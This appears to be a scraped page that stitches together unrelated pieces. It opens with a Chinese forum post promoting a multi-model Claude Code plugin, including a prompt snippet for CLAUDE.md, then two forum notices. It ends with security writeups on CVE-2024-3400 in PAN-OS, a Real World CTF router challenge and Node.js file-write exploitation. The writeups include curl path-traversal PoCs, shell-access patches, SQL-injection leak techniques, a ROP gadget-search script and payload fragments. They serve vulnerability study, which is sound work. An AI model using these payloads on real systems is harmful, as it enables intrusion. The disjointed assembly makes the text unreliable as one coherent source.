2026年1月

因为对 Superpowers 使用比较顺手，又想要多模型能力，受风佬项目启发，自己改造了一个。

GitHub - BryanHoo/superpowers-ccg: Claude Code superpowers: core skills library
觉得好用请留下你的 Star

Superpowers-CCG 是基于 Superpowers 的增强版本，融合了 ccg-workflow（Claude + Codex + Gemini）多模型协作能力。

快速开始

1. 安装 Superpowers-CCG 插件

Claude Code（通过 Plugin Marketplace）

# 添加 marketplace
/plugin marketplace add BryanHoo/superpowers-ccg

# 安装插件
/plugin install superpowers-ccg@BryanHoo-superpowers-ccg

安装完成后，codeagent-wrapper 会自动配置到 ~/.claude/bin/ 目录，无需手动复制。

2. 配置多模型调用能力（可选但推荐）

不配置全局提示在某些情况下，Claude 默认倾向自己解决

在 ~/.claude/CLAUDE.md 中添加以下内容，让 Claude 知道它拥有这个能力

**⚠️ Important Notice: You Have Multi-Model Invocation Capabilities**

If you are Claude, please note: You can invoke external models (Codex and Gemini) through the `codeagent-wrapper` tool. This is NOT a hypothetical capability - it is a real and available feature.

**Your Capabilities:** - Invoke **Codex** for backend tasks (APIs, databases, algorithms, performance optimization)
- Invoke **Gemini** for frontend tasks (UI, components, styles, interactions)
- Invoke **dual-model cross-validation** for complex full-stack problems

**How to Use:**
Check the `coordinating-multi-model-work` skill for the complete routing decision framework and invocation methods. This skill includes:

- Semantic routing decision process (`routing-decision.md`)
- Invocation templates and integration patterns (`INTEGRATION.md`)
- Collaboration checkpoint logic (`checkpoints.md`)

核心特性

  • Superpowers 方法论 - 完整的软件开发工作流（brainstorming → planning → TDD → code review）
  • 多模型协作 - 自动路由任务到最适合的模型（Codex 后端、Gemini 前端）
  • 交叉验证 - 复杂问题和设计决策时双模型验证

多模型能力

核心模块，提供自动路由和交叉验证能力：

路由机制：

  • 语义分析 - Claude 分析任务描述、文件类型和技术栈，智能判断应该路由到哪个模型
  • 决策因素 - 任务本质（UI / 逻辑 / 数据）、技术领域（前端 / 后端）、复杂度（单一 / 跨域）
  • 路由目标 - Gemini（前端）、Codex（后端）、交叉验证（全栈 / 不确定）、Claude（简单任务）

交叉验证触发：

  • 全栈问题（前后端交互）
  • 高不确定性（多种可能原因）
  • 设计决策（架构选择）
  • 复杂 bug（难以定位）

多模型协作检查点

该框架现在在 8 个关键技能中嵌入了协作检查点：

  • CP1（任务分析） - 任务开始前评估
  • CP2（中期审查） - 在关键决策点调用
  • CP3（质量门） - 完成前审查

这些检查点集成到：

  • brainstorming: CP1（想法分析），CP2（方法探索）
  • writing-plans: CP1（计划开始），CP3（执行交接）
  • executing-plans: CP1/CP2/CP3（每项任务检查点）
  • developing-with-subagents: CP1/CP2/CP3（分派 / 执行 / 审查）
  • practicing-test-driven-development: CP1（RED 阶段），CP3（GREEN 阶段）
  • debugging-systematically: CP1（调查），CP2（假设测试）
  • requesting-code-review: CP3（审查调用）
  • verifying-before-completion: CP3（最终验证）

增强的 Skills

Skill多模型能力
debugging-systematically交叉验证诊断及嵌入检查点
brainstorming多模型设计评估及 CP1/CP2 检查点
writing-plans任务路由标注及 CP1/CP3 检查点
executing-plans自动路由执行及 CP1/CP2/CP3 检查点
developing-with-subagents多模型任务分发及 CP1/CP2/CP3 检查点
requesting-code-review双模型代码审查及 CP3 检查点
practicing-test-driven-development测试生成路由及 CP1/CP3 检查点
verifying-before-completion交叉验证确认及 CP3 检查点

Skills 库

测试

  • practicing-test-driven-development - 精简的 RED-GREEN-REFACTOR 循环，含主动多模型检查点（包含测试反模式参考）

调试

  • debugging-systematically - 精简的 4 阶段根因分析流程，含主动多模型检查点（包含 root-cause-tracing、defense-in-depth、condition-based-waiting 技术）
  • verifying-before-completion - 确保问题真正修复（含 CP3 检查点）

协作

  • brainstorming - 苏格拉底式设计提炼
  • writing-plans - 详细实施计划
  • executing-plans - 分批执行带检查点
  • dispatching-parallel-agents - 并发 subagent 工作流
  • requesting-code-review - 预审查清单
  • receiving-code-review - 响应反馈
  • using-git-worktrees - 并行开发分支
  • finishing-development-branches - 合并 / PR 决策工作流
  • developing-with-subagents - 快速迭代带两阶段审查

多模型

  • coordinating-multi-model-work - 多模型调用核心（路由规则、交叉验证、提示词模板、主动协作检查点）

设计理念

  • 测试驱动开发 - 始终先写测试
  • 系统化优于临时 - 流程优于猜测
  • 降低复杂度 - 简单性是首要目标
  • 证据优于声明 - 验证后再宣布成功
  • 多模型协作 - 专业模型处理专业任务
  • 简化文档 - 遵循 Anthropic 最佳实践，删除 Claude 已知的冗余解释内容
  • 主动协作 - 嵌入自主决策检查点用于多模型协作

📌 转载信息
转载时间：
2026/1/18 15:45:23

修改节点

你可以在2026-01-17 19:08:36前修改节点 1 次。

节点
选择帖子更为合适的节点。合适的节点能让你的帖子获得更好的展示。

L 站 2 周年，注册限制降低了难度，写小作文没通过的抓紧时间了

sun

16 条回复

176 次浏览

企业微信截图_8a4f99e5-f246-4849-9a76-f2296781f947

想要注册的抓紧时间了，不是推广哈，纯分享，只求赞跟评论，赚点金币 doge_flower

❤️2
👍2
🍀1

25

#薅羊毛
#注册分享
#社区活动

修改节点

你可以在2026-01-17 20:21:43前修改节点 1 次。

节点
选择帖子更为合适的节点。合适的节点能让你的帖子获得更好的展示。

新版增加了语法高亮

Jimmy

种子用户

11 条回复

102 次浏览

各位输入代码时记得要带上代码类型，在```后标注代码类型才会生效。good

另外通知现在会主动获取最新的未读计数。

❤️2
👍4

100

#代码
#功能
#语法高亮

CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞


…

TL; DR

4月12日的是看到 paloaltonetworks 有一个安全公告[1], CVE编号是 CVE-2024-3400， 漏洞是一个命令注入，影响的版本如下：

image.png

然后在复现的过程中发现 watchTowr Labs[2] 已经发了他们的分析， 那就顺着他们的分析学习下这洞吧， 这里提下我的复现版本为 10.2.9

环境搭建

由于漏洞公告[1]提到， 该漏洞的影响需要 PAN-OS 配置 GlobalProtect portal 或者 GlobalProtect gateway， 所以我们需要先完整的搭建下我们的环境。

简单说下配置的流程， 我这里的配置是参考 QWB S6 Final Pan 这个题目的环境配置的（ 亏我还能找到这个题目的虚拟机）， 另外提一句当时强网杯利用的 CVE-2021-3064 这个漏洞还是蛮有意思的。

首先，我的虚拟机有三个网卡，

image.png

网卡1是管理口， 网卡2准备用来做门户和网关的网段 ，我这里用的网段是 192.168.100.1/24 。 登陆到管理口的后台后，依次设置

  • NETWORK->接口 设置以太网接口， 接口类型设置为 3层， 设置 IPV4 的静态 IP

image.png

  • DEVICE->证书管理->证书， 生成 RootCert 再基于 RootCert 派发一个 gp_cer

image.png

  • DEVICE->证书管理-> SSL/TLS 服务配置文件 依据 gp_cert 配置 SSL_PROFILE

image.png

  • 然后到 NETWORK->GlobalProtect->门户 配置门户， 中间可能少了一点东西， 这里贴一下我的配置项， 缺什么补什么就好了

image.png

image.png

  • NETWORK->GlobalProtect->网关 网关配置是也是差不多

image.png

image.png

然后现在在另外一台虚拟机里，也设置上同样的 192.168.100.1/24 网段的网卡， 就可以访问到门户了

image.png

由于没有所谓的设备证书， 此次漏洞能命令执行提到的 telemetry 功能是不可用状态

image.png

访问 https://192.168.1.101/ssl-vpn/hipreport.esp 就是 https://192.168.1.101/ssl-vpn/hipreport.esp 的返回

image.png

shell 和文件系统的获取直接用了当时 QWB时候 Larryxi[3] 大哥提供的方法

  • patch vmem获取本地shell
    • sed -i "s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g" PA1029-9aad9851.vmem
    • sed -i "s/admin:x:1001:1004/admin:x:0000:0000/g" PA1029-9aad9851.vmem
  • 查看固件内容方式， 挂载 vmdk 就行
    j
    1
    2
    3
    sudo modprobe nbd
    sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk
    sudo mount /dev/nbd1p2 /mnt/panos/

这样就可以 admin 用户登陆之后是一个 root 权限的 shell ， 之后调试之类的也可使用 ssh 登陆

漏洞分析

在[1] 文章就已经提到了漏洞的触发路径， 首先是 gpsvc 文件在处理 Cookie 字段的时候会有一个任意文件写， 其次是 telemetry 功能的定时任务 device_telemetry_send 会用 /usr/local/bin/dt_send 发送数据的时候会拼接文件名到命令中，造成命令注入。

我们依次简单分析下

gpsvc 任意文件写分析

通过 netstat 命令， 我们可以看到 gpsvc 监听在 20277 端口上，

image.png

在查看 /etc/nginx/sslvpn/localtion.conf 的配置文件中， 我们看到如下配置

image.png

可以看到 ssl-vpn 相关的部分接口为通过 nginx 代理转发到 20177 端口， 就是 gpsvc 程序里处理。

逆向分析

我们把程序拿出来分析， 坏消息是这个程序是 golang 编写的， 好像是有符号， 而且我们已经知道了漏洞大致位置， 可以通过直接找到 main__ptr_SessDiskStore_New 函数

我们在这个函数里可以看到一个通过 Cookie 里的值然后拼接文件名的操作，

image.png

比如我们在 146 行下一个断点， 然后使用如下 PoC 触发：

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../tmp/hacked' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

到达main__ptr_SessDiskStore_New 函数的backtrace如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) bt
#0  main.(*SessDiskStore).New (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:103
#1  0x0000000000a472c3 in github.com/gorilla/sessions.(*Registry).Get (s=0xc00c1a6a60, store=..., name=..., session=0x0, err=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/sessions@v1.2.1/sessions.go:139
#2  0x0000000000aee55d in main.(*SessDiskStore).Get (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:87
#3  0x0000000000af606a in main.(*GpTask).initHttp (t=0xc00725eb00, r=0xc00260f400, ~r1=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:442
#4  0x0000000000afd0a9 in main.(*GpTask).RunHttp (t=0xc00725eb00, w=..., r=0xc00260f400, ~r2=false)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:802
#5  0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm=0xc000870000, w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:450
#6  0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:406
#7  0x0000000000867f74 in net/http.HandlerFunc.ServeHTTP (f={void (net/http.ResponseWriter, net/http.Request *)} 0xc00c2077a8, w=..., r=0xc00260f300)
at /usr/local/go/src/net/http/server.go:2036
#8  0x0000000000a78e56 in github.com/gorilla/mux.(*Router).ServeHTTP (r=0xc0006c20c0, w=..., req=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/mux@v1.7.4/mux.go:210
#9  0x000000000086c7df in net/http.serverHandler.ServeHTTP (sh=..., rw=..., req=0xc00260f100) at /usr/local/go/src/net/http/server.go:2831
#10 0x0000000000866f1a in net/http.(*conn).serve (c=0xc0081981e0, ctx=...) at /usr/local/go/src/net/http/server.go:1919
#11 0x0000000000467411 in runtime.goexit () at /usr/local/go/src/runtime/asm_amd64.s:1357
#12 0x000000c0081981e0 in ?? ()
#13 0x0000000000d79060 in ?? ()
#14 0x000000c00c150680 in ?? ()
#15 0x0000000000000000 in ?? ()
(gdb)

image.png

此时可以看到 $rdi->array 存储了我们的 payload 的相关字符： session_/../../../tmp/hacked， 我们单步走一步走到调用main_loadSessFile 函数的位置

image.png

image.png

(分析到这，我突然反应过来他是golang 是旧版本的 api 调用 ， 搜了下字符串可以知道他的 golang 版本是 1.13.15)

1
.rodata:0000000000C956F6 aGo11315        db 'go1.13.15'

可以看到 /../ 相关字符被path_filepath_Join函数处理后已经被去除了，问题来了， 是在哪创建的的文件呢？

我们找到 syscall_Open 函数 ， 对其进行引用查找， 找到一条这样的调用链

1
main_loadSessFile->main_fileLock->syscall_Open

而此时 main_loadSessFile 的参数就是我们想要创建的文件

image.png

image.png

open 的定义为 int open(const char *pathname, int flags, mode_t mode); 第二个参数是个 flags， 当值为 0x40 的时候为 O_CREAT

O_CREAT 定义位于 fcntl.h 文件中， 可以在 linux 的内核代码[4]中看到,

1
2
3
4
5
6
#define O_ACCMODE	00000003
#define O_RDONLY	00000000
#define O_WRONLY	00000001
#define O_RDWR		00000002
#ifndef O_CREAT
#define O_CREAT		00000100	/* not fcntl */

O_CREAT 的值通常是 0100，这是一个八进制表示的值， 等同于十进制的 64 ，十六进制的 0x40， 通过查找相关资料[5]

image.png
发现只有文件不存在的时候才会创建文件。

例如使用如下 payload 尝试创建 /etc/passwd 的时候

1
2
3
4
5
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../etc/passwd' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

可以看到 open 是返回了 0

image.png

这个漏洞会创建一个任意路径、文件名可控的文件（不能覆盖文件）。那么攻击者是如何将这么一个漏洞再组合成一个命令执行的呢？ 这就得提到 telemetry 功能了

telemetry 命令文件分析

根据官网 [5] 的介绍， 该功能是一个定时发送数据到远端的一个功能, 在环境搭建提到的该功能开启需要一个设备证书， 我目前的复现环境是不支持的。 只能分析分析功能了

在 /etc/cron.d 可以看到很多和 telemetry 相关的定时任务

image.png

其中 /usr/local/bin/dt_send 看起来是用来发送数据的

image.png

该程序由 python 编写， 可以看到简单判断了下功能是不是开启， 然后调用 check_and_send 函数

image.png

check_and_send 函数会接着调用 send_file_dirs_all

image.png

可以看到 send_file_dirs_all 函数会遍历 DEFAULT_DEVTELEM_OUTPUT_DIR 下的文件， 然后再调用 send_file_dir

image.png

而在 send_file_dir 函数中， 用 send_file 函数
image.png

在 send_file 函数中， 会将文件名拼接到 send_file_cmd 遍历中

image.png

接着调用 cmd_status = techsupport.dosys(send_file_cmd, None) ， 运行 dt_curl 命令， 该命令也是一个 python 程序，

dt_curl 里会调用 send_file 函数

image.png

在该函数中就拼接命令， 使用 pansys(curl_cmd, shell=True, timeout=250) 函数调用， 注意这里的 shell=True

image.png

image.png

这里最后调用到 /opt/plugins/2.0/python-lib/pan/pansys/pansys.py 文件中的 dosys

image.png

可以看到这里的shell参数默认是 False 的 但是由于send_file 调用的是传递进来设置了成了 True, 因此可以命令注入 。

Diff Patch

image-20240420215633491

新增了个 seesion 检查函数？
image.png

从日志可以可以看到似乎加了检查 {"level":"error","task":"3-22","time":"2024-04-20T06:28:12.18264473-07:00","message":"ArgFilterCheck: authcookie input is invalid"}

刚好也是这个补丁加的样子， 从编译路径来看

1
2
3
4
(gdb) bt
#0  main.(*GpTask).ArgFilterCheck (t=0xc000093080, filterName=..., argName=..., value=..., ~r3=9)
at /opt/build/workspace/NOMAD/89c94875/workspace/ations_gpsvc_hotfix_10.2.9-hf-ga/src/apps/pan_gpsvc_task.go:615
#1  0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t=0xc000093080, value=..., ~r1=0)

修复了 shell=True 的问题
image.png

思考

一个空文件创建到命令执行， 想必这个攻击者估计找这个功能了找了不少时间吧，此外该漏洞的利用目前需要开启telemetry 功能， 那么是否还有可以利用这个空文件创建的地方呢？ 这么大的一个系统也许还有吧， 有时间可以在仔细看看

image.png

  1. 1.CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400↩
  2. 2.palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/↩
  3. 3.Larryxi blog https://aslr.io/about/↩
  4. 4.fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24↩
  5. 5.device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview↩

Real World CTF 6th Router4 writeup


Writeup

, ,

…

前言

这次 RWCTF 就准备了一个题目: 「Router4」, 一共有三个队伍在比赛期间做了出来，题目的附件和题目介绍可以从Real-World-CTF-6th-Challenges[1]这个仓库看到 。

题目的场景就是一个 ASUS 路由器开放了 wan 的服务后（ lighttpd）， 该服务会默认监听在 443 端口上。题目环境是以 ASUS RT-AC68U的固件版本为 3.0.0.4.386.51665为基底进行模拟的。

在比赛结束后， 我将涉及的漏洞上报给了 ASUS 官方，然后获得了两个 CVE 编号，分别是CVE-2024-3079和CVE-2024-3080。同时也将部分非预期的情况告诉选手， 让选手也提前将非预期的漏洞上报给官方。

漏洞细节

Stack Overflow

在 ASUS 的 lighttpd 上其实是存在多个缓冲区溢出漏洞的， 这里列举几个比赛前和比赛后发现的 。

  • lighttpd cookie 处栈溢出， 直接通过 strncpy 拼接 cookie的值， 其中 tmp-used 就是 cookie 值的长度

image-20240531144331569

  • mod_aicloud_auth.so 解析 uri 处栈溢出， 直接从 ? 后取字符串，然后也是通过 strncpy拼接字符串， 长度可控

image-20240531145941750

  • replace_str 函数栈溢出

replace_str 函数中没有检查长度， 直接通过 sprintf 写入 buffer 中， 因此可以造成栈溢出

1
2
3
4
5
6
7
8
9
10
char *replace_str(char *st, char *orig, char *repl, char* buff){
char *ch;
if (!(ch = strstr(st, orig)))
return st;
strncpy(buff, st, ch-st);
buff[ch-st] = 0;
sprintf(buff+(ch-st), "%s%s", repl, ch+strlen(orig));

return buff;
}

通过查看调用链， 可以看到 change_webdav_file_path 调用了 replace_str 函数

image.png

从 mod_webdav.so 的二进制看就是， sub_7e60 函数传入了 buffer 这个参数，

image-20240531154324688

然后在 sub_7e60 函数中调用了 replace_str 函数，我们已经知道 replace_str 函数是直接通过 sprintf拼接字符串，没有检查， 因此存在栈溢出

image-20240531154439915

Infor Leak

其实预期解应该是选手还需要通过某个漏洞在实现泄漏 libc 信息， 但是实际上发现解决题目的其中两个队伍 BlueWater和 Kalmarunionen都用了爆破 libc的方法 （因为32位， 只有4096的随机概率)， 失误了 orz

在固件的逆向和代码审计的过程中，我们发现一个 sql 注入的存在，后面在上报漏洞给官方的时候才知道这个漏洞其实是之前就有人上报过了，编号为 CVE-2023-35720[2]

在 mod_webdav.so 中， 程序会从 HTTP 消息的 Header根据关键词取值，

image-20240531135012681

例如从 header 中取出 Keyword ， 之后在 2186 行处有一次判断值是否合法的代码， 如果值不合法则HTTP返回 207

image-20240531135146493

这里判断了是否为空、是否存在 ' 单引号， 如果合法后续会拼接到 sql 语句中执行。

image-20240531135333100

这里我们注意到一个地方， 在拼接之前会进行一次 urldecode， 此时我们显然很容易就会发现问题所在了， 我们可以通过 url 编码来绕过程序对 '单引号的检查，在后续拼接 sql 语句来达到 sql 注入的效果。

另外一个问题来了， 我们这个标题不是说信息泄漏吗？sql注入怎么达到信息泄漏呢？该组件sql数据库使用的是 sqlite3，在 sqlite3 中有一个可以用来地址泄漏的方法, 在2017年长亭的 特性还是漏洞？滥用 SQLite 分词器) [3]文章中有详细说明。

我们直接诶引用下原文说明下原理，SQLite3 中注册自定义分词器用到的函数是 fts3_tokenizer，实现代码位于 ext/fts3/fts3_tokenizer.c 的 scalarFunc 函数。支持两种调用方式：

1
2
SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);

当只提供一个参数的时候，该函数返回指定名字的分词器的 sqlite3_tokenizer_module 结构体指针，以 blob 类型表示。例如在 sqlite3 控制台中输入：

1
sqlite> select hex(fts3_tokenizer('simple'));

image-20240531141122848

将会返回一个以大端序 16 进制表示的内存地址，可以用来检查特定名称的分词器是否已注册。这个指针指向一个 sqlite3_tokenizer_module 结构体。

函数的第二个可选参数用以注册新的分词器，只要执行如下 SQL 查询，即可注册一个名为 mytokenizer 的分词器：

1
sqlite> select fts3_tokenizer('mytokenizer', x'0xdeadbeefdeadbeef');

根据文章 2.1 基地址泄漏 小节中说明的，只提供一个参数执行 select fts3_tokenizer(name)，如果 name 是一个已经注册过的分词器，将会返回这个分词器对应的内存地址。在 fts3.c 中可以看到 SQLite3 默认注册了内置分词器 simple 和 porter：

1
2
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)
|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)

以 simple 分词器为例，其注册的指针指向静态区的 simpleTokenizerModule。

1
2
3
4
5
6
7
8
static const sqlite3_tokenizer_module simpleTokenizerModule = {
0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};

通过获得这个指针，即可通过简单的计算获得 libsqlite3.so 的基地址，从而绕过 ASLR。

image-20240531141746938

因此接合上面的sql注入， 我们就可以拿到泄漏的地址

image-20240531142504487

认证绕过

在检查路由的时候， 代码如下

image-20240531142102397

检查路由的时候判断是不是 /smb/ 但是忽略了， 如果是 /smb 则可以绕过授权

一个好玩的非预期

前文提到了这个题目有三个队伍做出来了， 其中BlueWater和 Kalmarunionen是通过栈溢出 + 爆破 libc 解决题目的， 另外一个队伍用了一个比较有趣的非预期， 这个队伍就是 Friendly Maltese Citizens

前面提到了该服务存在 sql 注入漏洞，他们发现 smb 的 GETMUSICCLASSIFICATION 方法存在 get_album_cover_image函数可以用来加载文件内容并且泄漏。于是他们用 sql 注入将 flag 的路径写到 album表中， 然后直接通过下面的方法预览

1
2
3
4
5
6
7
await fetch("/RWCTF", {
"headers": {
"classify": "album",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "GETMUSICCLASSIFICATION"
}).then(a => a.text())

参考链接

  1. 1.Router challenge attachment https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/Router4↩
  2. 2.CVE-2023-35720 lighttpd mod_webdav.so SQL Injection Information Disclosure Vulnerabilityhttps://www.zerodayinitiative.com/advisories/ZDI-23-1166/↩
  3. 3.特性还是漏洞？滥用 SQLite 分词器 https://blog.chaitin.cn/abusing_fts3_tokenizer/↩

Exploiting File Writes in Hardened Node.js Environments


,

…

TL; DR

在 Hexacon 2024 上关注到了这么一个议题 《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》， 同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。[1] 这里简单快速复现一下。

环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.use(express.json());

app.post('/upload', (req, res) => {
const { filename, content } = req.body;

if (!filename || !content) {
return res.status(400).json({ message: 'Filename and content are required!' });
}

const filePath = path.join(__dirname, 'uploads', filename);

fs.writeFile(filePath, content, (err) => {
if (err) {
return res.status(500).json({ message: 'Error saving file!' });
}
res.json({ message: 'File uploaded successfully!', path: filePath });
});
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

按照文章的描述， 我们先随便构造一个可以任意文件写的 nodejs 服务 （在假设环境是readonly 的情况下）

Exploit

按照文章的描述， nodejs 使用了 libuv 的这么一个库， 这个库在初始化的时候会的打开一个 Pipe 管道， 作者通过审计的时候发现有一个函数 uv__signal_event [2]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void uv__signal_event(uv_loop_t* loop,
uv__io_t* w,
unsigned int events){
uv__signal_msg_t* msg;
uv_signal_t* handle;
char buf[sizeof(uv__signal_msg_t) * 32];
size_t bytes, end, i;
int r;

bytes = 0;
end = 0;

do {
r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

if (r == -1 && errno == EINTR)
continue;
...
/* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */
end = (bytes / sizeof(uv__signal_msg_t)) * sizeof(uv__signal_msg_t);

for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
msg = (uv__signal_msg_t*) (buf + i);
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum); // callback
}

handle->dispatched_signals++;

if (handle->flags & UV_SIGNAL_ONE_SHOT)
uv__signal_stop(handle);
}

在这个函数中， 从 loop->signal_pipefd[0] 读内容， 然后做一个 signum检查， 就会使用传过来的数据解引用出来一个函数指针，然后直接调用

1
2
3
4
5
6
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum); // callback
}

uv__signal_msg_t数据结构仅包含两个成员，一个句柄指针和一个称为signum的整数：

1
2
3
4
typedef struct {
uv_signal_t* handle;
int signum;
} uv__signal_msg_t;

在这个 Pipe 是可 uv__make_pipe 函数创建的， 在 Docker 容器中是fd 为 11 的描述符

image.png

当然这个fd num 值更好的判断就是下一个断点， 然后简单通过 echo 发点数据就能确认 （ 不要在真实机器上测试， 会把一些 lib 写坏掉）

Overview Data Structure

image.png

对于我们来说， 我们有一个任意文件写入的方法， 我们通过这个方法往 Pipe 中写入我们构造的数据， 我们要构造的数据如上

发送过来的数据包含两个部分， 一个是 *handle 指针， 和 signum， 其中 *handle 指针指向的数据包含两个部分

  • signal_cb
  • signum

我们要构造 uv_signal_msg_t 的 signum 和 uv_signal_s 结构体中的 signum 相等， 才会调用 signal_cb ， 并且， 由于我们构造的这个场景是通过 fs.writeFile 函数写入内容的

用于写入文件的函数（本例中为 fs.writeFile）仅限于有效的 UTF-8 数据。因此，写入管道的所有数据都必须是有效的 UTF-8。

如果满足上述条件， 我们就可以劫持程序流，控制程序执行到我们想要的地方

Searching Data Structure Gadgets

由于 FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605 我们这个方式拉取的 node 程序本身是没有开PIE的

1
2
3
4
5
6
7
8
9
osboxes@osboxes:~$ checksec node
[*] '/home/osboxes/node'
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

因此我们可以尝试在 node 程序中尝试找合适的 gadget。 我考虑到如果程序起来只有可能会有一些数据写在 bss 或者 data 段上， 因此我 search 的范围是将程序正常启动，然后 dump memory

image.png

由于执行到 signal_cb 的时候， 此时场景如下：

image.png

image.png

我们仅仅需要找几个 pop xxx , pop xxx, .* ret 的 gadget 就行， 那么代码思路如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for addr, length in segments:
for offset in range(length-4):
handle = addr + offset
if not is_valid_utf8(p64(handle-0x60)):
continue
signum = read_mem(handle+8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out =  disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
print(out)

首先从头开始遍历， 由于调用的callback 指针是从 handle+60h 获取的， 因此我们第一个要校验的 *handle 是要减去 0x60 的， 然后从 handle + 8 后取 4个字节， 作为signum ，判断这两者是否都符合 utf-8 编码， 如果是将这个指针读出来， 接着读取这个指针的指向的gadget ， 这里假设 depth 为 30 ， 然后尝试去反汇编， 然后判断这个 gadget 是不是符合 pop xxx , ret 的形式， 如果是将这些值打印出来。

我这里没有做更细致的处理，打印出来的 gadget 可能比较丑， 大概长这样

image.png

很幸运的是， 我的第一个 gadget 就是满足的， 且适合我用来做栈迁移的

1
2
3
4
5
6
7
8
9

root@osboxes:/home/osboxes# python3 search.py
handle 0x4261af -> ptr: 12048128(0xB7D700) signum 0xb7d900
pop    r12
pop    r13
pop    r14
pop    r15
pop    rbp
ret

那么此时我构造出来的数据就大致长这样

1
2
3
4
5
6
7
8
9
uv_signal_msg_t.
....
*handle (0x4261af) -------->   uv_signal_s
signum (0xb7d900).               ...

*signal_cb(0xB7D700) : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
signum (0xb7d900)
...

1
2
content   = p64(0x4261af - 0x60)  # handle
content  += p64(0xb7d900)         # signum

这里贴下我完整的 search 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
